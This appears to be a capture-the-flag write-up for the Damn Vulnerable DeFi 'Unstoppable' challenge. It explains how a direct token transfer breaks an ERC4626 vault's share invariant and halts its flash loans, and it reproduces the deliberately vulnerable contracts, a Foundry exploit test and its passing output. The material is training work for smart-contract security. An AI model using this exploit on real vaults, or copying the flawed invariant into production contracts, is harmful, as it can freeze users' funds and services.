Skip to main content

Stop Flash-Loan


🚩

UnstoppableVault Flash Loan Exploit

There's a tokenized vault with a million DVT tokens deposited. It’s offering flash loans for free, until the grace period ends.

To catch any bugs before going 100% permissionless, the developers decided to run a live beta in testnet. There's a monitoring contract to check liveness of the flashloan feature.

Starting with 10 DVT tokens in balance, show that it's possible to halt the vault. It must stop offering flash loans.

Goal

The goal of this challenge is to break the flash loan functionality of the UnstoppableVault so that it cannot be used anymore. Once flash loans stop working, the vault monitor detects the failure and automatically pauses the vault for safety.


How the Vault Works

  1. Vault Deposits (deposit)

    • Users deposit tokens into the vault.
    • The vault mints shares to track how much each user owns.
    • This ensures the vault knows exactly how many tokens correspond to each share.
  2. Flash Loans

    • The vault allows users to borrow tokens temporarily (flash loans) with a small fee.

    • Flash loans are implemented using ERC3156 standard.

    • The vault ensures the balance math is correct before and after a flash loan:

      if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
    • If this check fails, the flash loan reverts.

  3. Critical Issue

    • If someone directly transfers tokens to the vault (using ERC20.transfer) instead of using deposit), the vault's internal accounting is broken:

      • totalAssets() increases
      • totalSupply() (shares) stays the same
      • This makes the invariant check fail and flash loans stop working.

Attack Flow

The attack is simple but effective. The attacker does not need ownership of the vault.

Step 1: Check the initial state

  • Vault has 1,000,000 DVT
  • Player has 10 DVT
  • Vault flash loans work normally

Step 2: Perform the attack

  • Directly transfer tokens to the vault using the ERC20 transfer() function:

    token.transfer(address(vault), 1e18);
  • This increases the vault’s balance but does not increase the internal shares.

  • The vault's accounting is now broken.

Step 3: Verify the effect

  • Flash loans will now revert due to the failed invariant:

    if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();
  • The monitor detects that flash loans cannot be executed.

  • As a result, the vault is paused, preventing further flash loans.

  • Vault ownership is returned to the deployer for safety.


Contracts

UnstoppableVault.sol

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {ReentrancyGuard} from "solady/utils/ReentrancyGuard.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {Owned} from "solmate/auth/Owned.sol";
import {SafeTransferLib, ERC4626, ERC20} from "solmate/tokens/ERC4626.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
import {IERC3156FlashBorrower, IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156.sol";

/**
* An ERC4626-compliant tokenized vault offering flashloans for a fee.
* An owner can pause the contract and execute arbitrary changes.
*/
contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626, Pausable {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;

uint256 public constant FEE_FACTOR = 0.05 ether;
uint64 public constant GRACE_PERIOD = 30 days;

uint64 public immutable end = uint64(block.timestamp) + GRACE_PERIOD;

address public feeRecipient;

error InvalidAmount(uint256 amount);
error InvalidBalance();
error CallbackFailed();
error UnsupportedCurrency();

event FeeRecipientUpdated(address indexed newFeeRecipient);

constructor(ERC20 _token, address _owner, address _feeRecipient)
ERC4626(_token, "Too Damn Valuable Token", "tDVT")
Owned(_owner)
{
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}

/**
* @inheritdoc IERC3156FlashLender
*/
function maxFlashLoan(address _token) public view nonReadReentrant returns (uint256) {
if (address(asset) != _token) {
return 0;
}

return totalAssets();
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashFee(address _token, uint256 _amount) public view returns (uint256 fee) {
if (address(asset) != _token) {
revert UnsupportedCurrency();
}

if (block.timestamp < end && _amount < maxFlashLoan(_token)) {
return 0;
} else {
return _amount.mulWadUp(FEE_FACTOR);
}
}

/**
* @inheritdoc ERC4626
*/
function totalAssets() public view override nonReadReentrant returns (uint256) {
return asset.balanceOf(address(this));
}

/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);

// callback must return magic value, otherwise assume it failed
uint256 fee = flashFee(_token, amount);
if (
receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
!= keccak256("IERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}

// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);

return true;
}

/**
* @inheritdoc ERC4626
*/
function beforeWithdraw(uint256 assets, uint256 shares) internal override nonReentrant {}

/**
* @inheritdoc ERC4626
*/
function afterDeposit(uint256 assets, uint256 shares) internal override nonReentrant whenNotPaused {}

function setFeeRecipient(address _feeRecipient) external onlyOwner {
if (_feeRecipient != address(this)) {
feeRecipient = _feeRecipient;
emit FeeRecipientUpdated(_feeRecipient);
}
}

// Allow owner to execute arbitrary changes when paused
function execute(address target, bytes memory data) external onlyOwner whenPaused {
(bool success,) = target.delegatecall(data);
require(success);
}

// Allow owner pausing/unpausing this contract
function setPause(bool flag) external onlyOwner {
if (flag) _pause();
else _unpause();
}
}


UnstoppableMonitor.sol

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {Owned} from "solmate/auth/Owned.sol";
import {UnstoppableVault, ERC20} from "../unstoppable/UnstoppableVault.sol";

/**
* @notice Permissioned contract for on-chain monitoring of the vault's flashloan feature.
*/
contract UnstoppableMonitor is Owned, IERC3156FlashBorrower {
UnstoppableVault private immutable vault;

error UnexpectedFlashLoan();

event FlashLoanStatus(bool success);

constructor(address _vault) Owned(msg.sender) {
vault = UnstoppableVault(_vault);
}

function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata)
external
returns (bytes32)
{
if (initiator != address(this) || msg.sender != address(vault) || token != address(vault.asset()) || fee != 0) {
revert UnexpectedFlashLoan();
}

ERC20(token).approve(address(vault), amount);

return keccak256("IERC3156FlashBorrower.onFlashLoan");
}

function checkFlashLoan(uint256 amount) external onlyOwner {
require(amount > 0);

address asset = address(vault.asset());

try vault.flashLoan(this, asset, amount, bytes("")) {
emit FlashLoanStatus(true);
} catch {
// Something bad happened
emit FlashLoanStatus(false);

// Pause the vault
vault.setPause(true);

// Transfer ownership to allow review & fixes
vault.transferOwnership(owner);
}
}
}


POC

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {UnstoppableVault, Owned} from "../../src/unstoppable/UnstoppableVault.sol";
import {UnstoppableMonitor} from "../../src/unstoppable/UnstoppableMonitor.sol";
import {UnstoppableAttacker} from "../../src/unstoppable/UnstoppableAttacker.sol";

contract UnstoppableChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");

uint256 constant TOKENS_IN_VAULT = 1_000_000e18;
uint256 constant INITIAL_PLAYER_TOKEN_BALANCE = 10e18;

DamnValuableToken public token;
UnstoppableVault public vault;
UnstoppableMonitor public monitorContract;

modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}

/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token and vault
token = new DamnValuableToken();
vault = new UnstoppableVault({_token: token, _owner: deployer, _feeRecipient: deployer});

// Deposit tokens to vault
token.approve(address(vault), TOKENS_IN_VAULT);
vault.deposit(TOKENS_IN_VAULT, address(deployer));

// Fund player's account with initial token balance
token.transfer(player, INITIAL_PLAYER_TOKEN_BALANCE);

// Deploy monitor contract and grant it vault's ownership
monitorContract = new UnstoppableMonitor(address(vault));
vault.transferOwnership(address(monitorContract));

// Monitor checks it's possible to take a flash loan
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(true);
monitorContract.checkFlashLoan(100e18);

vm.stopPrank();
}

/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
// Check initial token balances
assertEq(token.balanceOf(address(vault)), TOKENS_IN_VAULT);
assertEq(token.balanceOf(player), INITIAL_PLAYER_TOKEN_BALANCE);

// Monitor is owned
assertEq(monitorContract.owner(), deployer);

// Check vault properties
assertEq(address(vault.asset()), address(token));
assertEq(vault.totalAssets(), TOKENS_IN_VAULT);
assertEq(vault.totalSupply(), TOKENS_IN_VAULT);
assertEq(vault.maxFlashLoan(address(token)), TOKENS_IN_VAULT);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT - 1), 0);
assertEq(vault.flashFee(address(token), TOKENS_IN_VAULT), 50000e18);

// Vault is owned by monitor contract
assertEq(vault.owner(), address(monitorContract));

// Vault is not paused
assertFalse(vault.paused());

// Cannot pause the vault
vm.expectRevert("UNAUTHORIZED");
vault.setPause(true);

// Cannot call monitor contract
vm.expectRevert("UNAUTHORIZED");
monitorContract.checkFlashLoan(100e18);
}

/**
* CODE YOUR SOLUTION HERE
*/
function test_unstoppable() public checkSolvedByPlayer {
console.log("== Before attack ==");
console.log("Player DVT balance:", token.balanceOf(player));
console.log("Vault DVT balance:", token.balanceOf(address(vault)));
console.log("Vault totalAssets:", vault.totalAssets());

vm.startPrank(player);
// Directly transfer tokens to the vault to break accounting
token.transfer(address(vault), 1e18);
vm.stopPrank();

console.log("== After attack ==");
console.log("Player DVT balance:", token.balanceOf(player));
console.log("Vault DVT balance:", token.balanceOf(address(vault)));
console.log("Vault totalAssets:", vault.totalAssets());

// After this, the flash loan function will revert due to failed invariant
}



/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private {
// Flashloan check must fail
vm.prank(deployer);
vm.expectEmit();
emit UnstoppableMonitor.FlashLoanStatus(false);
monitorContract.checkFlashLoan(100e18);

// And now the monitor paused the vault and transferred ownership to deployer
assertTrue(vault.paused(), "Vault is not paused");
assertEq(vault.owner(), deployer, "Vault did not change owner");
}
}


Test Result

root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_unstoppable -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.

[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_unstoppable() (gas: 83186)
Logs:
== Before attack ==
Player DVT balance: 10000000000000000000
Vault DVT balance: 1000000000000000000000000
Vault totalAssets: 1000000000000000000000000
== After attack ==
Player DVT balance: 9000000000000000000
Vault DVT balance: 1000001000000000000000000
Vault totalAssets: 1000001000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.57ms (317.29µs CPU time)

Ran 1 test suite in 19.05ms (14.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#

Key Learning Points

  1. ERC4626 Vaults track balances via shares, not just token balance.
  2. Direct token transfers to a vault can break the accounting.
  3. Always use vault methods (deposit) instead of transfer when interacting with ERC4626 vaults.
  4. Monitors or automation can detect invariant failures and pause contracts to prevent further exploitation.